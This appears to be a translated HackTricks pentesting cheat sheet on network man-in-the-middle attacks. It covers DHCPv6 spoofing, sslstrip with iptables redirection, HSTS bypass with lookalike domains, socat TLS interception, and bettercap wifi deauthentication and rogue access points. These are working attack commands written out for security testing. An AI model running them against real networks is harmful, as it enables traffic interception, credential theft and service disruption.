IPv6 DHCP欺骗

默认情况下,一些操作系统尝试通过读取网络中的DHCPv6数据包来配置DNS。然后,攻击者可以发送一个DHCPv6数据包来将自己配置为DNS。DHCP还会为受害者提供一个IPv6地址。

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP(伪造页面和JS代码注入)

互联网攻击

sslStrip

基本上,这种攻击的作用是,如果用户试图访问一个重定向HTTPS版本的HTTP页面。sslStrip将会与客户端保持一个HTTP连接,与服务器保持一个HTTPS连接,这样它就能够以明文方式嗅探连接。

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

更多信息在这里

用于绕过HSTS的sslStrip+和dns2proxy

sslStrip+和dns2proxysslStrip区别在于,它们会将例如_www.facebook.com重定向到wwww.facebook.com(注意额外的“w”),并将该域的地址设置为攻击者IP。这样,客户端将连接到wwww.facebook.com_(攻击者),但在幕后sslstrip+将通过https与www.facebook.com保持真实连接

这种技术的目标避开HSTS,因为_wwww.facebook.com_不会保存在浏览器的缓存中,因此浏览器将被欺骗在HTTP中执行facebook身份验证。 请注意,为了执行此攻击,受害者必须尝试最初访问http://www.faceook.com而不是https。这可以通过修改http页面内的链接来完成。

更多信息在这里在这里在这里

sslStrip或sslStrip+不再起作用。这是因为浏览器中预先保存了HSTS规则,因此即使用户第一次访问“重要”域,也会通过HTTPS访问。此外,请注意,预先保存的规则和其他生成的规则可以使用标志 includeSubdomains,因此之前的_wwww.facebook.com_示例将不再起作用,因为facebook.com使用带有includeSubdomains的HSTS。

待办事项:easy-creds、evilgrade、metasploit、factory

在端口上进行TCP监听

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

在端口上监听 TCP + SSL

生成密钥和自签名证书

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

使用证书进行监听

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

使用证书监听并重定向到主机

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

有时,如果客户端检查CA是否有效,您可以提供由CA签名的其他主机名的证书。 另一个有趣的测试是提供一个请求的主机名的证书,但是自签名的

其他要测试的事情包括尝试使用一个无效的CA对证书进行签名。或者使用有效的公钥,强制使用诸如diffie hellman之类的算法(不需要使用真实私钥解密任何内容),当客户端请求真实私钥的探测(如哈希)时,发送一个虚假的探测,并期望客户端不会检查这一点。

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

主动发现笔记

请注意,当向未使用请求端口的设备发送UDP数据包时,会发送一个ICMP(端口不可达)。

ARP 发现

ARP数据包用于发现网络内正在使用的IP地址。PC必须为每个可能的IP地址发送请求,只有正在使用的IP地址才会响应。

mDNS(多播DNS)

Bettercap发送一个MDNS请求(每X毫秒一次),请求 _services_.dns-sd._udp.local,看到此数据包的机器通常会回应此请求。然后,它只搜索回应“services”的机器。

工具

  • Avahi-browser(--all)

  • Bettercap(net.probe.mdns)

  • Responder

NBNS(NetBios名称服务器)

Bettercap向端口137/UDP广播数据包,请求名称为“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。

SSDP(简单服务发现协议)

Bettercap广播SSDP数据包,搜索各种服务(UDP端口1900)。

WSD(Web服务发现)

Bettercap广播WSD数据包,搜索服务(UDP端口3702)。

参考资料

从零开始成为AWS黑客大师,学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

最后更新于